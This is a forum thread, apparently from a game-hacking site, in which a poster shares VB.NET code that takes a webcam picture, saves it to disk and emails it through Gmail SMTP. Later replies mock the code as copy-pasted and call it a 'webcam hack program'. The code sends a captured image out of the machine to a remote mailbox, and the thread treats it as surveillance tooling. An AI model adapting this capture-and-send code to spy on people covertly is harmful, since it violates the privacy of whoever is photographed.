Results 1 to 10 of 10
  1. #1
    42trojan42's Avatar
    Join Date
    Aug 2014
    Gender
    male
    Location
    127.0.0.1
    Posts
    81
    Reputation
    10
    Thanks
    16
    My Mood
    Devilish

    Smile CAPTURE IMAGE USING WEBCAM IN VB.NET AND SEND IT TO ANY GMAIL.

    _Hello i just create a simple software that capture image using WebCam with vb.net and send it to your Gmail via Smtp method_
    First create a new project (Windows Forms Application) then add one button and one Picturebox From toolbox now double click on your form
    and paste the code
    Code:
    Imports System.Net.Mail
    Public Class Form1
        Const WM_CAP As Short = &H400S
        Const WM_CAP_DRIVER_CONNECT As Integer = WM_CAP + 10
        Const WM_CAP_DRIVER_DISCONNECT As Integer = WM_CAP + 11
        Const WM_CAP_EDIT_COPY As Integer = WM_CAP + 30
        Const WM_CAP_SET_PREVIEW As Integer = WM_CAP + 50
        Const WM_CAP_SET_PREVIEWRATE As Integer = WM_CAP + 52
        Const WM_CAP_SET_SCALE As Integer = WM_CAP + 53
        Const WS_CHILD As Integer = &H40000000
        Const WS_VISIBLE As Integer = &H10000000
        Const SWP_NOMOVE As Short = &H2S
        Const SWP_NOSIZE As Short = 1
        Const SWP_NOZORDER As Short = &H4S
        Const HWND_BOTTOM As Short = 1
        Dim iDevice As Integer = 0
        Dim hHwnd As Integer
        Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Object) As Integer
        Declare Function SetWindowPos Lib "user32" Alias "SetWindowPos" (ByVal hwnd As Integer, ByVal hWndInsertAfter As Integer, ByVal x As Integer, ByVal y As Integer, ByVal cx As Integer, ByVal cy As Integer, ByVal wFlags As Integer) As Integer
        Declare Function DestroyWindow Lib "user32" (ByVal hndw As Integer) As Boolean
        Declare Function capCreateCaptureWindowA Lib "avicap32.dll" (ByVal lpszWindowName As String, ByVal dwStyle As Integer, ByVal x As Integer, ByVal y As Integer, ByVal nWidth As Integer, ByVal nHeight As Short, ByVal hWndParent As Integer, ByVal nID As Integer) As Integer
        Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, ByVal cbVer As Integer) As Boolean
        Private Sub OpenPreviewWindow()
            Dim iHeight As Integer = picCapture.Height
            Dim iWidth As Integer = picCapture.Width
            hHwnd = capCreateCaptureWindowA(iDevice, WS_VISIBLE Or WS_CHILD, 0, 0, 640, 480, picCapture.Handle.ToInt32, 0)
            If SendMessage(hHwnd, WM_CAP_DRIVER_CONNECT, iDevice, 0) Then
                SendMessage(hHwnd, WM_CAP_SET_SCALE, True, 0)
                SendMessage(hHwnd, WM_CAP_SET_PREVIEWRATE, 66, 0)
                SendMessage(hHwnd, WM_CAP_SET_PREVIEW, True, 0)
                SetWindowPos(hHwnd, HWND_BOTTOM, 0, 0, picCapture.Width, picCapture.Height, SWP_NOMOVE Or SWP_NOZORDER)
            Else
                DestroyWindow(hHwnd)
            End If
        End Sub
        Private Sub ClosePreviewWindow()
            SendMessage(hHwnd, WM_CAP_DRIVER_DISCONNECT, iDevice, 0)
            DestroyWindow(hHwnd)
        End Sub
        Private Sub button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStart.Click
            OpenPreviewWindow()
            Dim data As IDataObject
            Dim bmap As Image
            My.Computer.FileSystem.CreateDirectory("C:\NewDirectory")
            SendMessage(hHwnd, WM_CAP_EDIT_COPY, 0, 0)
            data = Clipboard.GetDataObject()
            If data.GetDataPresent(GetType(System.Drawing.Bitmap)) Then
                bmap = CType(data.GetData(GetType(System.Drawing.Bitmap)), Image)
                PictureBox1.Image = bmap
                ClosePreviewWindow()
                btnStart.Enabled = True
                data = Clipboard.GetDataObject()
                bmap.Save("C:\NewDirectory\c54182qe.png", System.Drawing.Imaging.ImageFormat.Png)
                Dim SmtpServer As New SmtpClient
                SmtpServer.EnableSsl = True
                Dim mail As New MailMessage
                SmtpServer.Credentials = New Net.NetworkCredential("Your_Gmail", "Gmail_Password")
                SmtpServer.Port = 587
                SmtpServer.Host = "smtp.gmail.com"
                mail = New MailMessage
                mail.From = New MailAddress("Your_Gmail")
                mail.To.Add("Your_Gmail")
                mail.Subject = "WebCam"
                mail.Body = "WebCam"
                mail.Attachments.Add(New Attachment("C:\NewDirectory\c54182qe.png"))
                SmtpServer.Send(mail)
            End If
        End Sub
    End Class


    if you like this leave me a thanks ! add me on Skype if you need help skype:terena.dale1
    Attached Thumbnails Attached Thumbnails
    prw.PNG  

    <b>Downloadable Files</b> Downloadable Files
    Last edited by 42trojan42; 08-21-2014 at 12:24 AM.

  2. The Following 15 Users Say Thank You to 42trojan42 For This Useful Post:

    arnoldenterina (07-22-2016),hahakit2000 (08-03-2016),Ijele (10-07-2016),Kaaan (10-02-2016),kay1195 (04-15-2016),kelvin1232 (07-27-2015),mghzayel (03-13-2019),my_all__34 (02-13-2019),nacari63 (10-15-2019),rhickz005 (03-08-2017),SheldonBailey (02-10-2017),taikaixin (10-02-2016),tawan2004 (09-14-2014),TioFox (10-03-2016),urben (01-30-2015)

  3. #2
    NetherWorker's Avatar
    Join Date
    Aug 2014
    Gender
    male
    Location
    Anchorage, Alaska
    Posts
    16
    Reputation
    10
    Thanks
    0
    My Mood
    Innocent
    Amazing work!

  4. #3
    Mayion's Avatar
    Join Date
    Oct 2012
    Gender
    male
    Location
    Bed
    Posts
    13,504
    Reputation
    4018
    Thanks
    8,372
    My Mood
    Twisted
    I do not use any type of messenger outside of MPGH.
    Inactive but you can reach me through VM/PM.










     

    Donator - 30 August 2013
    Battlefield Minion - 26 October 2013

    Blackshot Minion - 14 January 2014/16 September 2014
    Minecraft Minion - 7 February 2014/16 September 2014
    WarRock Minion - 23 February 2014
    League of Legends Minion - 21 March 2014

    Minion+ - 15 May 2014
    Other Semi-Popular First Person Shooter Minion - 8 August 2014
    CrossFire Minion - 23 October 2014
    Programming Section Minion - 13 November 2014
    Marketplace Minion - 7 December 2014

    Official Middleman - 7 December 2014 - 27 June 2015
    Moderator - 29 December 2014
    Project Blackout Minion - 10 January 2015
    News Force Interviewer - January 2015
    Steam Games Minion - 21 March 2015
    Dragon Nest Minion - 31 March 2015
    Publicist - April 2015 - 21 September 2015
    Global Moderator - 25 August 2015
    Super User - 13 August 2016



  5. The Following User Says Thank You to Mayion For This Useful Post:

    _NightWare (10-04-2016)

  6. #4
    42trojan42's Avatar
    Join Date
    Aug 2014
    Gender
    male
    Location
    127.0.0.1
    Posts
    81
    Reputation
    10
    Thanks
    16
    My Mood
    Devilish
    Quote Originally Posted by NetherWorker View Post
    Amazing work!
    Thx dude

  7. #5
    42trojan42's Avatar
    Join Date
    Aug 2014
    Gender
    male
    Location
    127.0.0.1
    Posts
    81
    Reputation
    10
    Thanks
    16
    My Mood
    Devilish
    Mayion not similar to my code and it can''t send the picture to gmail

  8. #6
    abuckau907's Avatar
    Join Date
    Dec 2012
    Gender
    male
    Location
    other side of the wire
    Posts
    1,342
    Reputation
    162
    Thanks
    239
    My Mood
    Cold
    Quote Originally Posted by 42trojan42 View Post
    Mayion not similar to my code and it can''t send the picture to gmail

    Dim iDevice As Integer = 0
    Dim hHwnd As Integer
    'i' is hungarian notation (https://en.wikipedia.org/wiki/Hungarian_notation) for 'integer', and 'h' for 'handle', but what is double hH? The variable's full name would be "handleWindow" right? So what's hH short for - c+p.?

    You can see the correct (um..normal?) use a couple lines above (..in both versions)
    Const HWND_BOTTOM As Short = 1
    hWnd is the name most ppl would have given the variable. Unless you have a plausible sounding reason why you picked hH, it looks like you c+p'd.. not that it matters tho : p
    Last edited by abuckau907; 08-21-2014 at 01:26 AM.
    'Some things that can be counted, don't matter. And some things that matter, can't be counted' - A.E.
    --
     

    My posts have some inaccuracies/are wrong/wrong keyword(s) used.
    They're (maybe) pretty close, and I hope they helped you, not created confusion. Take with grain of salt.

    -if you give rep, please leave a comment, else it means less.

  9. #7
    42trojan42's Avatar
    Join Date
    Aug 2014
    Gender
    male
    Location
    127.0.0.1
    Posts
    81
    Reputation
    10
    Thanks
    16
    My Mood
    Devilish
    Quote Originally Posted by abuckau907 View Post
    'i' is hungarian notation (https://en.wikipedia.org/wiki/Hungarian_notation) for 'integer', and 'h' for 'handle', but what is double hH? The variable's full name would be "handleWindow" right? So what's hH short for - c+p.?

    You can see the correct (um..normal?) use a couple lines above (..in both versions)


    hWnd is the name most ppl would have given the variable. Unless you have a plausible sounding reason why you picked hH, it looks like you c+p'd.. not that it matters tho : p
    yeah i just added how to send picture to gmail and the code is public every one can take it and look to my Title CAPTURE IMAGE USING WEBCAM IN VB.NET AND SEND IT TO ANY GMAIL.

  10. #8
    GBot!'s Avatar
    Join Date
    Mar 2010
    Gender
    male
    Location
    Long Beach
    Posts
    3,361
    Reputation
    320
    Thanks
    421
    My Mood
    Amazed
    Quote Originally Posted by Mayion View Post
    Find out how to make this so u can watch me fap.

  11. #9
    abuckau907's Avatar
    Join Date
    Dec 2012
    Gender
    male
    Location
    other side of the wire
    Posts
    1,342
    Reputation
    162
    Thanks
    239
    My Mood
    Cold
    Quote Originally Posted by 42trojan42 View Post
    yeah i just added how to send picture to gmail and the code is public every one can take it and look to my Title CAPTURE IMAGE USING WEBCAM IN VB.NET AND SEND IT TO ANY GMAIL.
    Cool story bro. copy-paste how to capture image and copy-paste how to send email via gmal...epic stuffs of h4xor..wonderful of you to post it. [/sarcasm]
    Last edited by abuckau907; 08-21-2014 at 03:18 AM.
    'Some things that can be counted, don't matter. And some things that matter, can't be counted' - A.E.
    --
     

    My posts have some inaccuracies/are wrong/wrong keyword(s) used.
    They're (maybe) pretty close, and I hope they helped you, not created confusion. Take with grain of salt.

    -if you give rep, please leave a comment, else it means less.

  12. The Following User Says Thank You to abuckau907 For This Useful Post:

    [MPGH]Mayion (08-21-2014)

  13. #10
    71c's Avatar
    Join Date
    Mar 2011
    Gender
    male
    Location
    Aokigahara
    Posts
    3,293
    Reputation
    419
    Thanks
    2,359
    My Mood
    Lonely
    Yeah your "webcam hack program" -.-

     


    Never Forget 1


    Never Forget 2


    <43
    Quote Originally Posted by GalaxyBeatzz View Post
    i want to look like my favourite athlete, he's called papyrus hes got a very hot body and his orgasms sound like windows xp which is very hot

     

Similar Threads

  1. [Leeched] Tutorial Using Webcams
    By Bombsaway707 in forum Visual Basic Programming
    Replies: 22
    Last Post: 02-23-2010, 09:31 PM
  2. Replies: 14
    Last Post: 12-27-2009, 10:10 PM
  3. How to Use VB.net and Combine with Combat Arms
    By User1 in forum Combat Arms Discussions
    Replies: 56
    Last Post: 09-24-2009, 09:17 PM
  4. what functions can be used in a vb.net dll?
    By t7ancients in forum Visual Basic Programming
    Replies: 0
    Last Post: 04-01-2009, 07:20 PM
  5. Replies: 17
    Last Post: 03-23-2009, 11:20 PM

Tags for this Thread